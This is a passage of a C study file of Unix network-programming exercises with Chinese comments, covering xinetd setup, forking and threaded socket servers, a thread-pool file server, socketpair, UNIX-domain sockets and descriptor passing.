
	if ((rc=getaddrinfo(argv[1],argv[2],&hints,&addr)) == 0) {
		do {
			printf("ip: %s\t", inet_ntop(AF_INET,
								&(((struct sockaddr_in*)addr->ai_addr)->sin_addr),
								ipbuf, sizeof(ipbuf)));
			printf("host:%s\t",addr->ai_canonname);
			printf("length:%d\t",addr->ai_addrlen);
			printf("port:%d\n",ntohs(((struct sockaddr_in *)addr->ai_addr)->sin_port));
		} while((addr=addr->ai_next) != NULL);
		return 0;
	}
	printf("%d\n",rc);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 16.1-xinetd轻量迭代网络服务设计{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
// 1. 编译single_p/xinetd_exp/daytime_inetd.c 服务端程序 生成daytime_inetd
// 2. 添加启动配置文件 /etc/xinetd.d/daytime_inetd 内容如下：
/*
# daytime_inetd configs example:
service daytime_inetd
{
	disable     = no
	flags       = REUSE
	socket_type = stream
	wait        = no
	user        = root
	server      = /home/xuke/learnspace/APLE_APUE_code/single_p/xinetd_exp/daytime_inetd
	log_on_failure += USERID
}
*/
// 3.在 /etc/services 文件中为该服务指定应用端口，内容如下:
/*
daytime_inetd    6666/tcp       # my xinetd server example
*/
// 4.关闭防火墙，重启xinetd服务后，使用telnet localhost 6666 简单测试,看是否返回"当前时间"
// sudo ufw status
// service xinetd restart}}}

/***************************************************************************************
 * Description   : 16.2.1-多进程/多线程 服务器支持多客户端访问{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static void handler(int sig)
{
	if (sig == SIGPIPE) {
		printf("recv signal: SIGPIPE\n");
	} else {
		printf("recv signal=%d\n", sig);
	}
}

int sigpipe_server(int argc, char *argv[])
{
	int bytes;
	int sockfd, new_fd;
	socklen_t len;
	struct sockaddr_in my_addr, their_addr;
	time_t timestamp;
	char buffer[128] = {0};

	//注册回调，处理写已断开的socket时触发的异常信号SIGPIPE
	if (SIG_ERR == signal(SIGPIPE, handler)) {
		perror("signal(SIGPIPE)");
		return EXIT_FAILURE;
	}
	//忽略信号，把子进程退出时资源回收处理交给init进程
	if (SIG_ERR == signal(SIGCHLD, SIG_IGN)) {
		perror("signal(SIGCHLD)");
		return EXIT_FAILURE;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	//set ip address
	bzero(&my_addr, sizeof(my_addr));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(atoi(argv[2]));
	if (inet_aton(argv[1], (struct in_addr *) &my_addr.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		exit(errno);
	}
	//bind address
	if (bind(sockfd, (struct sockaddr *) &my_addr, sizeof(struct sockaddr))== -1) {
		perror("bind");
		exit(EXIT_FAILURE);
	}
	if (listen(sockfd, 5) == -1) {
		perror("listen");
		exit(EXIT_FAILURE);
	}
	len = sizeof(struct sockaddr);

	while (1) {
		printf("wait for new connect\n");
		if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &len)) == -1) {
			perror("accept");
			continue;
		}

		int pid;
		if (-1 == (pid = fork())) {
			perror("fork");
			close(new_fd);
			continue;
		} else if (pid > 0) {
			close(new_fd); //父进程关闭新连接的套接字,继续监听
			continue;
		} else if (pid == 0) {
			//子进程关闭父进程的监听套接字,不监听
			close(sockfd);
			//注册回调，处理写已断开的socket时触发的异常信号SIGPIPE
			if (SIG_ERR == signal(SIGPIPE, SIG_IGN)) {
				perror("child signal(SIGPIPE)");
				close(new_fd);
				return EXIT_FAILURE;
			}
			//处理客户端交互
			printf("server(%d): got connection from %s, port %d\n", getpid(), inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port));
			while (1) {
				timestamp = time(NULL);
				snprintf(buffer, sizeof(buffer), "%.24s\r\n", ctime(&timestamp));

				bytes = write(new_fd, buffer, strlen(buffer));
				if (bytes < 0) {
					printf("send failure, errno code is %d, errno message is '%s'\n", errno, strerror(errno));
					break;
				} else {
					printf("send message(%dByte) to client(%d)\n", bytes, ntohs(their_addr.sin_port));
				}
				sleep(2);
			}
			//结束会话,关闭客户端连接套接字
			close(new_fd);
			exit(0);
		}
	}
	close(sockfd);
	return 0;
}

int sigpipe_client(int argc, char **argv)
{
	int i;
	int sockfd, len;
	struct sockaddr_in dest;
	char buf[128] = {0};

	if (argc != 3) {
		printf(" error format,it must be:\n\t\t%s IP port\n",argv[0]);
		return EXIT_FAILURE;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
		perror("Socket");
		return errno;
	}
	printf("socket created\n");
	//set address
	bzero(&dest, sizeof(dest));
	dest.sin_family = AF_INET;
	dest.sin_port = htons(atoi(argv[2]));
	if (inet_aton(argv[1], (struct in_addr *) &dest.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		return errno;
	}
	if (connect(sockfd, (struct sockaddr *) &dest, sizeof(dest)) == -1) {
		perror("Connect ");
		return errno;
	}
	memset(buf, '\0', sizeof(buf));
	//接收5次服务消息后退出
	for (i=0; i<5; i++) {
		len = recv(sockfd, buf, sizeof(buf), 0);
		printf("buf(%d):%s\n", len, buf);
	}
	close(sockfd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 16.2.2-多线程服务器支持多客户端访问{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
static void *thread_server_handle(void *arg)
{
	pthread_detach(pthread_self()); //分离自己
	int my_fd = atoi((char*)arg); //获得套接字描述符
	int bytes = 0;
	time_t timestamp;
	char buffer[64] = {0};

	//处理客户端交互
	while (1) {
		timestamp = time(NULL);
		snprintf(buffer, sizeof(buffer), "%.24s\r\n", ctime(&timestamp));

		bytes = write(my_fd, buffer, strlen(buffer));
		if (bytes < 0) {
			printf("send failure, errno code is %d, errno message is '%s'\n", errno, strerror(errno));
			break;
		} else {
			printf("send message(%dByte) to client\n", bytes);
		}
		sleep(2);
	}
	//结束会话,关闭客户端连接套接字

	close(my_fd);
	return NULL;
}

int multi_thread_server(int argc, char *argv[])
{
	int sockfd, new_fd;
	socklen_t len;
	struct sockaddr_in my_addr, their_addr;
	char buf[8] = {0};
	pthread_t temp_tid;

	//注册回调，处理写已断开的socket时触发的异常信号SIGPIPE
	if (SIG_ERR == signal(SIGPIPE, handler)) {
		perror("signal(SIGPIPE)");
		return EXIT_FAILURE;
	}

	if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	//set ip address
	bzero(&my_addr, sizeof(my_addr));
	my_addr.sin_family = AF_INET;
	my_addr.sin_port = htons(atoi(argv[2]));
	if (inet_aton(argv[1], (struct in_addr *) &my_addr.sin_addr.s_addr) == 0) {
		perror(argv[1]);
		exit(errno);
	}
	//bind address
	if (bind(sockfd, (struct sockaddr *) &my_addr, sizeof(struct sockaddr))== -1) {
		perror("bind");
		exit(EXIT_FAILURE);
	}
	if (listen(sockfd, 5) == -1) {
		perror("listen");
		exit(EXIT_FAILURE);
	}
	len = sizeof(struct sockaddr);

	while (1) {
		printf("wait for new connect\n");
		if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &len)) == -1) {
			perror("accept");
			continue;
		} else {
			printf("server: got connection from %s, port %d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port));
			snprintf(buf, sizeof(buf), "%d", new_fd);
			if (pthread_create(&temp_tid, NULL, (void*)thread_server_handle, (void*)buf)) {
				perror("pthread_create");
			}
		}
	}
	close(sockfd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 16.2.3-基于HTTP的多进程并发文件服务器{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
/*服务器代码见于: APLE_APUE_code/single_p/test_httpd*/
/*}}}*/

/***************************************************************************************
 * Description   : 16.3-线程池文件服务器示例{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
PTHREAD_QUEUE_T *pthread_queue_idle = NULL;     /* the idle thread double link queue. */
PTHREAD_QUEUE_T *pthread_queue_busy = NULL;     /* the work thread double link queue. */
TASK_QUEUE_T *task_queue_head = NULL;           /* the task queuee single link list. */
#define PORT    9001

/*
 * sys_clean: clean the system.
 * this function code need to do to make it more stronger.
 */
static void sys_clean(void)
{
	printf("the system exit abnormally\n");
	exit(EXIT_FAILURE);
}

/*
 * child_work: the code exec in child thread
 * ptr: the ds of thread_node of current thread.
 */
static void *child_work(void *ptr)
{
	THREAD_NODE *self = (THREAD_NODE *)ptr;

	/*modify the tid attribute the first time exec */
	pthread_mutex_lock(&self->mutex);
	self->tid = syscall(SYS_gettid); //pthread_self()
	pthread_mutex_unlock(&self->mutex);

	while (1) {
		//阻塞于条件变量，等待task
		pthread_mutex_lock(&self->mutex);
		if (NULL == self->work) {
			//阻塞等待条件时,内部解锁传入的互斥锁,条件到达而唤醒时再次上锁(原子操作);
			pthread_cond_wait(&self->cond, &self->mutex);
		}

		//执行到达的任务task
		pthread_mutex_lock(&self->work->mutex);
		self->work->fun(self->work->arg); /*execute the real work. */
		//任务完成后的清理工作
		self->work->tid = 0;
		self->work->flag = 0;
		self->work->fun = NULL;
		self->work->next = NULL;
		free(self->work->arg);
		pthread_mutex_unlock(&self->work->mutex);  //unlock the task
		pthread_mutex_destroy(&self->work->mutex);
		free(self->work); /*free the task space */
		self->work = NULL;
		self->flag = 0;

		//从任务链表上取任务执行
		pthread_mutex_lock(&task_queue_head->mutex);
		if (task_queue_head->head != NULL) {
			//取任务链表的第一个任务, 到当前线程执行
			TASK_NODE *temp = task_queue_head->head;
			task_queue_head->head = task_queue_head->head->next;
			task_queue_head->number--;
			self->work = temp;
			self->flag = 1;

			//修改任务节点属性
			temp->tid = self->tid;
			temp->flag = 1;
			temp->next = NULL;

			pthread_mutex_unlock(&task_queue_head->mutex); //解锁任务链表
			pthread_mutex_unlock(&self->mutex); //解锁线程变量
			continue;
		} else {
			//若没有需要执行的任务，则将该线程自己移动到空闲线程链表
			pthread_mutex_unlock(&task_queue_head->mutex); //解锁任务链表

			//从busy队列删除自己
			pthread_mutex_lock(&pthread_queue_busy->mutex); //加锁运行线程链表
			if (pthread_queue_busy->head == self && pthread_queue_busy->rear == self) {
				/* self is the only one execte thread */
				pthread_queue_busy->head = pthread_queue_busy->rear = NULL;
				self->next = self->prev = NULL;
			} else if (pthread_queue_busy->head == self && pthread_queue_busy->rear != self) {
				/* self is the first one thread in busy queue */
				pthread_queue_busy->head = pthread_queue_busy->head->next;
				pthread_queue_busy->head->prev = NULL;
				self->next = self->prev = NULL;
			} else if (pthread_queue_busy->head != self && pthread_queue_busy->rear == self) {
				/* self is the last one thread in busy queue */
				pthread_queue_busy->rear = pthread_queue_busy->rear->prev;
				pthread_queue_busy->rear->next = NULL;
				self->next = self->prev = NULL;
			} else {
				/* self is the middle one */
				self->next->prev = self->prev;
				self->prev->next = self->next;
				self->next = self->prev = NULL;
			}
			pthread_mutex_unlock(&pthread_queue_busy->mutex);

			//将自己添加到空闲队列
			pthread_mutex_lock(&pthread_queue_idle->mutex);
			if (pthread_queue_idle->head == NULL || pthread_queue_idle->head == NULL) {
				/*now the idle queue is empty */
				pthread_queue_idle->head = pthread_queue_idle->rear = self;
				self->next = self->prev = NULL;
			} else {
				//头插法入队
				self->next = pthread_queue_idle->head;
				self->prev = NULL;
				self->next->prev = self;
				pthread_queue_idle->head = self;
				pthread_queue_idle->number++;
			}
			pthread_mutex_unlock(&pthread_queue_idle->mutex);

			//发送空闲队列条件变量，表示有空闲线程增加
			pthread_cond_signal(&pthread_queue_idle->cond);
			pthread_mutex_unlock(&self->mutex); //解锁线程变量
		}
	}
	return NULL;
}

/* create thread pool when the system on, and thread number is THREAD_DEF_NUM.
 * when init, initial all the thread into a double link queue and all wait fo self->cond.
 */
static void create_pthread_pool(void)
{
	int i;

	//creat THREAD_DEF_NUM thread node
	THREAD_NODE *temp = (THREAD_NODE *)malloc(sizeof(THREAD_NODE) * THREAD_DEF_NUM);
	if (temp == NULL) {
		printf("malloc failure\n");
		exit (EXIT_FAILURE);
	}
	//init every thread node
	for (i = 0; i < THREAD_DEF_NUM; i++) {
		temp[i].tid = i + 1;
		temp[i].work = NULL;
		temp[i].flag = 0;

		if (i != 0) {
			temp[i].prev = &temp[i - 1];
		} else {
			temp[i].prev = NULL; //first node
		}
		if (i != (THREAD_DEF_NUM - 1)) {
			temp[i].next = &temp[i + 1]; //last node
		} else {
			temp[i].next = NULL;
		}

		pthread_cond_init(&temp[i].cond, NULL);
		pthread_mutex_init(&temp[i].mutex, NULL);
		/*create thread of this node */
		pthread_create(&temp[i].tid, NULL, child_work, (void *)&temp[i]);
	}

	/*modify the idle thread queue attribute */
	pthread_mutex_lock(&pthread_queue_idle->mutex);
	pthread_queue_idle->number = THREAD_DEF_NUM;
	pthread_queue_idle->head = &temp[0];
	pthread_queue_idle->rear = &temp[THREAD_DEF_NUM - 1];
	pthread_mutex_unlock(&pthread_queue_idle->mutex);
	return;
}

/* init_system: init the system glob pointor. */
static void init_system(void)
{
	/*init the pthread_queue_idle */
	pthread_queue_idle = (PTHREAD_QUEUE_T *)malloc(sizeof (PTHREAD_QUEUE_T));
	pthread_queue_idle->number = 0;
	pthread_queue_idle->head = NULL;
	pthread_queue_idle->rear = NULL;
	pthread_cond_init(&pthread_queue_idle->cond, NULL);
	pthread_mutex_init(&pthread_queue_idle->mutex, NULL);

	/*init the pthread_queue_busy */
	pthread_queue_busy = (PTHREAD_QUEUE_T *)malloc(sizeof (PTHREAD_QUEUE_T));
	pthread_queue_busy->number = 0;
	pthread_queue_busy->head = NULL;
	pthread_queue_busy->rear = NULL;
	pthread_cond_init(&pthread_queue_busy->cond, NULL);
	pthread_mutex_init(&pthread_queue_busy->mutex, NULL);

	/*init the task_queue_head */
	task_queue_head = (TASK_QUEUE_T *)malloc(sizeof (TASK_QUEUE_T));
	task_queue_head->number = 0;
	task_queue_head->head = NULL;
	pthread_cond_init(&task_queue_head->cond, NULL);
	pthread_mutex_init(&task_queue_head->mutex, NULL);

	/*create thread poll */
	create_pthread_pool();
	return;
}

/* thread_manager: code exec in manager thread.
 *                 block on task_queue_head->cond when no task come.
 *                 block on pthread_queue_idle->cond when no idle thread */
static void *thread_manager(void *ptr)
{
	TASK_NODE *temp_task = NULL;
	THREAD_NODE *temp_thread = NULL;

	while (1) {
		/* get a new task, and modify the task_queue. if no task, block on task_queue_head->cond.  */
		pthread_mutex_lock(&task_queue_head->mutex);
		if (task_queue_head->number == 0) {
			pthread_cond_wait(&task_queue_head->cond, &task_queue_head->mutex);
		}
		temp_task = task_queue_head->head;
		task_queue_head->head = task_queue_head->head->next;
		task_queue_head->number--;
		pthread_mutex_unlock(&task_queue_head->mutex);

		/* get a new idle thread, and modify the idle_queue. if no idle thread, block on pthread_queue_idle->cond. */
        pthread_mutex_lock(&pthread_queue_idle->mutex);
		if (pthread_queue_idle->number == 0) {
			pthread_cond_wait(&pthread_queue_idle->cond, &pthread_queue_idle->mutex);
		}
		temp_thread = pthread_queue_idle->head;
		if (pthread_queue_idle->head == pthread_queue_idle->rear) {
			/*if this is the last idle thread, modify the head and rear pointor */
			pthread_queue_idle->head = NULL;
			pthread_queue_idle->rear = NULL;
		} else {
			/*if idle thread number > 1, get the first one, modify the head pointor  */
			pthread_queue_idle->head = pthread_queue_idle->head->next;
			pthread_queue_idle->head->prev = NULL;
		}
		pthread_queue_idle->number--;
		pthread_mutex_unlock(&pthread_queue_idle->mutex);

		/*modify the  task attribute. */
		pthread_mutex_lock (&temp_task->mutex);
		temp_task->tid = temp_thread->tid;
		temp_task->flag = 1;
		temp_task->next = NULL;
		pthread_mutex_unlock (&temp_task->mutex);
		/*modify the idle thread attribute. */
		pthread_mutex_lock (&temp_thread->mutex);
		temp_thread->work = temp_task;
		temp_thread->flag = 1;
		temp_thread->next = NULL;
		temp_thread->prev = NULL;
		pthread_mutex_unlock (&temp_thread->mutex);

		/*add the thread assinged task to the busy queue. */
		pthread_mutex_lock(&pthread_queue_busy->mutex);
		if (pthread_queue_busy->head == NULL) {
			/*if this is the first one in busy queue */
			pthread_queue_busy->head = temp_thread;
			pthread_queue_busy->rear = temp_thread;
		} else {
			/*insert this node to the front of the queue */
			temp_thread->next = pthread_queue_busy->head;
			pthread_queue_busy->head->prev = temp_thread;
			pthread_queue_busy->head = temp_thread;
			pthread_queue_busy->number++;
		}
		pthread_mutex_unlock(&pthread_queue_busy->mutex);

		/*signal the child thread to exec the work */
		pthread_cond_signal(&temp_thread->cond);
	}
	return NULL;
}


/* to process the new client in every chilld pthead.
 * ptr: the fd come from listen thread that can communicate to the client. */
static void *prcoess_client (void *ptr)
{
	int net_fd = atoi ((char *) ptr);
	struct info client_info = {0};

	/*get the command mesg from client */
	if (-1 == recv(net_fd, &client_info, sizeof (client_info), 0)) {
		printf ("recv msg error\n");
		close (net_fd);
		goto clean;
	}
	/* if the client requre the attribute of one file. */
	if (client_info.flag == 1) {
		struct stat mystat;
		if (-1 == stat(client_info.buf, &mystat)) { //get stat by file name
			printf ("stat %s error\n", client_info.buf);
			close (net_fd);
			goto clean;
		}
		char msgbuf[1024] = {0};
		sprintf(msgbuf, "%d", htonl (mystat.st_size)); /*only send the length of the file. */

		/*send info of the file */
		if (-1 == send(net_fd, msgbuf, strlen(msgbuf) + 1, 0)) {
			printf ("send msg error\n");
			close (net_fd);
			goto clean;
		}

		close(net_fd);
		return NULL;
	} else {
		int ret;
		int file_fd;
		int need_send = ntohl(client_info.length);           /* the length of the content. */
		int local_begin = ntohl(client_info.local_begin); /* the content begining location. */

		/* open the src file and get the real content. */
		if (-1 == (file_fd = open(client_info.buf, O_RDONLY))) {
			printf ("open file %s error\n", client_info.buf);
			close(net_fd);
			goto clean;
		}
		lseek(file_fd, local_begin, SEEK_SET); /*seek the read local to the real location. */

		char buf[1024];
		do {
			memset(buf, '\0', 1024);
			/*read 1024Byte from file everytome, if the last one,read the real length. */
			ret = read(file_fd, buf, (need_send < 1024) ? need_send : 1024);
			if (ret == -1) {
				printf ("read file %s error\n", client_info.buf);
				break;
			}

			/*send the data to client. */
			if (-1 == send(net_fd, buf, ret, 0)) {
				printf ("send file %s error\n", client_info.buf);
				break;
			}
			sleep(3);
		} while(ret > 0);
		close(net_fd);
		close(file_fd);
	}
	return NULL;

clean:
	sys_clean();
	return NULL;
}

/* task_manager: get new task and add to the tail of the task_link. */
void *task_manager(void *ptr)
{
	int listen_fd;
	if (-1 == (listen_fd = socket(AF_INET, SOCK_STREAM, 0))) {
		perror ("socket");
		goto clean;
	}

	struct ifreq ifr;
	strcpy(ifr.ifr_name, "lo");
	if (ioctl(listen_fd, SIOCGIFADDR, &ifr) < 0) {
		perror("ioctl");
		goto clean;
	}

	struct sockaddr_in myaddr;
	myaddr.sin_family = AF_INET;
	myaddr.sin_port = htons(PORT);
	myaddr.sin_addr.s_addr = ((struct sockaddr_in *)&(ifr.ifr_addr))->sin_addr.s_addr;
	if (-1 == bind(listen_fd, (struct sockaddr *)&myaddr, sizeof (myaddr))) {
		perror("bind");
		goto clean;
	}
	if (-1 == listen(listen_fd, 5)) {
		perror("listen");
		goto clean;
	}

	int i; /*i is the id of the task */
	int newfd;
	struct sockaddr_in client;
	socklen_t len = sizeof(client);
	TASK_NODE *temp = NULL;
	TASK_NODE *newtask = NULL;
	for (i=1; ; i++) {
		if (-1 == (newfd = accept(listen_fd, (struct sockaddr *)&client, &len))) {
			perror ("accept");
			goto clean;
		}

		//create a task node
		newtask = (TASK_NODE *)malloc(sizeof (TASK_NODE));
		if (newtask == NULL) {
			printf ("malloc error");
			goto clean;
		}
		/* initial the attribute of the task.
		 * because this task havn't add to system, so no need lock the mutex. */
		newtask->arg = (void *)malloc(128);
		memset (newtask->arg, '\0', 128);
		sprintf(newtask->arg, "%d", newfd);
		newtask->fun = prcoess_client;
		newtask->work_id = i;
		newtask->tid = 0;
		newtask->next = NULL;
		pthread_mutex_init(&newtask->mutex, NULL);

		/*add new task to task_link */
		pthread_mutex_lock(&task_queue_head->mutex);
        /*find the tail of the task link and add the new one to tail */
		if (task_queue_head->head == NULL) {
			task_queue_head->head = newtask;
		} else {
			temp = task_queue_head->head;
			while (temp->next != NULL) {
				temp = temp->next;
			}
			temp->next = newtask;
		}
		task_queue_head->number++;
		pthread_mutex_unlock (&task_queue_head->mutex);

		/*signal the manager thread , has task coming */
		pthread_cond_signal(&task_queue_head->cond);
	}
	return NULL;

clean:
	sys_clean();
	return NULL;
}

/*monitor: get the system info */
static void *monitor(void *ptr)
{
	THREAD_NODE *temp_thread = NULL;
	while (1) {
		pthread_mutex_lock(&pthread_queue_busy->mutex);
		/*output the busy thread works one by one */
		temp_thread = pthread_queue_busy->head;
		printf ("\n*******************************\n");
		while (temp_thread) {
			printf("thread %ld is  execute work_number %d\n", temp_thread->tid, temp_thread->work->work_id);
			temp_thread = temp_thread->next;
		}
		printf("*******************************\n\n");
		pthread_mutex_unlock(&pthread_queue_busy->mutex);
		sleep (5);
	}
	return NULL;
}

// Usage: server
int pthread_pool_server(int argc, char *argv[])
{
	pthread_t thread_manager_tid;
	pthread_t task_manager_tid;
	pthread_t monitor_id;

	init_system();

	pthread_create(&thread_manager_tid, NULL, thread_manager, NULL);  /* create thread to manage the thread pool. */
	pthread_create(&task_manager_tid,   NULL, task_manager,   NULL);  /* create thread recive task from client. */
	pthread_create(&monitor_id,         NULL, monitor,        NULL);  /* create thread to monitor the system info. */

	pthread_join(thread_manager_tid, NULL);
	pthread_join(task_manager_tid,   NULL);
	pthread_join(monitor_id,         NULL);

	sys_clean();
	return 0;
}

// Usage: client <IP> <filename> <save_filename>
int pthread_pool_client(int argc, char *argv[])
{
	int client_fd;
	int file_fd = 0;
	int ret = 0;
	int sum = 0;
	int length = 0;
	char buf[1024] = {0};
	struct info sendinfo;
	struct sockaddr_in server_addr;

	//创建套接字并连接,获取文件信息
	if (-1 == (client_fd=socket(AF_INET,SOCK_STREAM,0))) {
		perror("socket");
		return EXIT_FAILURE;
	}
	server_addr.sin_family = AF_INET;
	server_addr.sin_port = htons(PORT);
	server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	if (-1 == connect(client_fd, (struct sockaddr *)&server_addr, sizeof(server_addr))) {
		perror("connect");exit(EXIT_FAILURE);
	}
	sendinfo.flag = 1; //get file info
	sprintf(sendinfo.buf,"%s", argv[1]);

	if (-1 == send(client_fd, &sendinfo, sizeof(sendinfo), 0)) {
		perror("send");
		exit(EXIT_FAILURE);
	}
	if (-1 == recv(client_fd, buf, 1024, 0)) {
		perror("recv");
		exit(EXIT_FAILURE);
	}
	close(client_fd);

	//重新创建套接字并连接,下载文件
	if (-1 == (client_fd = socket(AF_INET, SOCK_STREAM, 0))) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	if (-1 == connect(client_fd, (struct sockaddr *)&server_addr, sizeof(server_addr))) {
		perror("connect");
		exit(EXIT_FAILURE);
	}
	sendinfo.flag = 2; //get file content
	sendinfo.local_begin = 0;
	sendinfo.length = atoi(buf);
	if (-1 == send(client_fd,&sendinfo, sizeof(sendinfo), 0)) {
		perror("send");
		exit(EXIT_FAILURE);
	}

	file_fd = open(argv[2], O_WRONLY|O_CREAT, 0644);
	if (!file_fd) {
		perror("open");
		return -1;
	}
	lseek(file_fd, sendinfo.local_begin, SEEK_SET);
	length = ntohl(sendinfo.length);
	printf("length = %d\n", length);
	do {
		ret = recv(client_fd, buf, 1024, 0);
		write(file_fd, buf, ret);
		sum  = sum + ret;
		printf("downloading: %d\n", ((100 * sum) / length));
		/*printf("sum=%d\n", sum);*/
		getchar();
	} while(sum != ntohl(sendinfo.length));

	close(client_fd);
	close(file_fd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 17.1.1-socketpair 实现本地套接字{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int socketpair_example(int argc, char *argv[])
{
	int sock[2]; //类似管道, 但是是双向的
	int pid;
	int i;
	static char buf[128] = {0};

	// create socketpair to sock for local communicate
	if (0 > socketpair(PF_UNIX, SOCK_STREAM, 0, sock)) {
		perror("socketpair");
		return -1;
	}

	if (-1 == (pid = fork())) {
		perror("fork");
		return -1;
	} else if (pid == 0) {
		//child
		close(sock[1]); //关闭一端
		for (i=0; i<10; i+=2) { //偶数
			sleep(1);
			sprintf(buf, "child, %d", i);
			write(sock[0], buf, sizeof(buf));
			read(sock[0], buf, sizeof(buf));
			printf("child recive data from parent:[%s]\n", buf);
		}
		close(sock[0]);
	} else if (pid > 0) {
		//parent
		sleep(1);
		close(sock[0]); //关闭一端
		for (i=1; i<10; i+=2) { //奇数
			read(sock[1], buf, sizeof(buf));
			printf("parent recive data from child:[%s]\n", buf);
			sprintf(buf, "parent, %d", i);
			write(sock[1], buf, sizeof(buf));
		}
		close(sock[1]);
	}
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 17.1.2-UNIX套接字 实现本地通信{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
int socket_local_server(int argc,char *argv[])
{
	int server_sockfd, client_sockfd;
	int server_len, client_len;
	struct sockaddr_un server_address, client_address;
	char ch_send, ch_recv;
	int i, byte;

	unlink("server_socket"); //clear old
	server_sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
	// 指定local socket文件名
	server_address.sun_family = AF_UNIX;
	strcpy(server_address.sun_path, "server_socket");
	server_len = sizeof(server_address);

	bind(server_sockfd, (struct sockaddr *)&server_address, server_len);
	listen(server_sockfd, 5);
	printf("server waiting for  client connect\n");
	client_len = sizeof(client_address);
	client_sockfd = accept(server_sockfd,(struct sockaddr *)&client_address, (socklen_t *)&client_len);
	printf("the server wait form client data\n");

	for (i=0, ch_send='1'; i<5; i++, ch_send++) {
		if (-1 == (byte = read(client_sockfd, &ch_recv, 1))) {
			perror("read");
			exit(EXIT_FAILURE);
		}
		printf("the character receiver from client is %c\n",ch_recv);
		sleep(1);
		if (-1 == (byte=write(client_sockfd,&ch_send,1))) {
			perror("write");
			exit(EXIT_FAILURE);
		}
    }
	close(client_sockfd);
	unlink("server socket");
	return 0;
}

int socket_local_client(int argc,char *argv[])
{
	int sockfd;
	int len;
	struct sockaddr_un address;
	int result;
	int i,byte;
	char ch_recv, ch_send;

	if(-1 == (sockfd = socket(AF_UNIX, SOCK_STREAM, 0))) {
		perror("socket");
		exit(EXIT_FAILURE);
	}
	//指定套接字文件名, 并连接
	address.sun_family = AF_UNIX;
	strcpy(address.sun_path, "server_socket");
	len = sizeof(address);
	result = connect(sockfd, (struct sockaddr *)&address, len);
	if (result == -1) {
		printf("ensure the server is up\n");
		perror("connect");
		exit(EXIT_FAILURE);
	}

	for (i=0, ch_send='A'; i<5; i++, ch_send++) {
		if (-1 == (byte = write(sockfd, &ch_send, 1))) {
			perror("write");
			exit(EXIT_FAILURE);
		}
		if(-1 == (byte = read(sockfd,&ch_recv,1))) {
			perror("read");
			exit(EXIT_FAILURE);
		}
		printf("receive from server data is %c\n",ch_recv);
	}
	close(sockfd);
	return 0;
}
/*}}}*/

/***************************************************************************************
 * Description   : 17.2-本地socket传递文件描述符{{{
 * @param [in ]  : argc, argv
 * @return       : 0
 ***************************************************************************************/
#define SOCK_FILE "EExuke_sock"
static int create_local_server_sock(char *sockfile)
{
	int local_fd;
	struct sockaddr_un myaddr;

	if(-1 == (local_fd = socket(AF_LOCAL, SOCK_STREAM, 0))) {
		perror("socket");
		return EXIT_FAILURE;
	}
	//指定套接字文件名
	bzero(&myaddr,sizeof(myaddr));
	myaddr.sun_family = AF_LOCAL;
	strncpy(myaddr.sun_path, sockfile, strlen(sockfile));
	if (-1 == bind(local_fd, (struct sockaddr *)&myaddr, sizeof(myaddr))) {
		perror("bind");
		return EXIT_FAILURE;
	}
	if (-1 == listen(local_fd, 5)) {
		perror("listen");
		return EXIT_FAILURE;
	}

	struct sockaddr_un peeraddr;
	int len = sizeof(peeraddr);
	int new_fd = accept(local_fd, (struct sockaddr *)&peeraddr, (socklen_t *)&len);
	if (-1 == new_fd) {
		perror("accept");
		return EXIT_FAILURE;
	}
	return new_fd;
}

static int send_fd(int sock_fd, char *file)
{
	int fd_to_send;

	if (-1 == (fd_to_send = open(file, O_RDWR|O_APPEND))) {
		perror("open");
		exit(EXIT_FAILURE);
	}
	//create control msg
	struct cmsghdr *cmsg = alloca(sizeof(struct cmsghdr) + sizeof(fd_to_send));
	cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(fd_to_send);
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;
	memcpy(CMSG_DATA(cmsg), &fd_to_send, sizeof(fd_to_send)); //拷贝文件描述符到cmsg_data
	//create data msg
	struct iovec iov[3];
	iov[0].iov_base = "hello, ";
	iov[0].iov_len = strlen("hello, ");
	iov[1].iov_base = "this is xuke, ";
	iov[1].iov_len = strlen("this is xuke, ");
	iov[2].iov_base = "and you?\n";
	iov[2].iov_len = strlen("and you?\n");
	//build msg
	struct msghdr msg;
	msg.msg_control = cmsg; //控制消息
	msg.msg_controllen = cmsg->cmsg_len;
	msg.msg_name= NULL;     //消息名
	msg.msg_namelen = 0;
	msg.msg_iov = iov;      //数据消息
	msg.msg_iovlen = 3;

	if (sendmsg(sock_fd, &msg, 0) < 0) {
		printf("sendmsg error, errno is %d\n", errno);
		fprintf(stderr, "sendmsg failed.  errno : %s\n", strerror(errno));
		return errno;
	}
	return 1;
}

int send_fd_server(int argc, char *argv[])
{
	int sock_fd = 0;

	unlink(SOCK_FILE);
	if (argc != 2) {
		printf("pls usage %s file_send\n", argv[0]);
		return EXIT_FAILURE;
	}
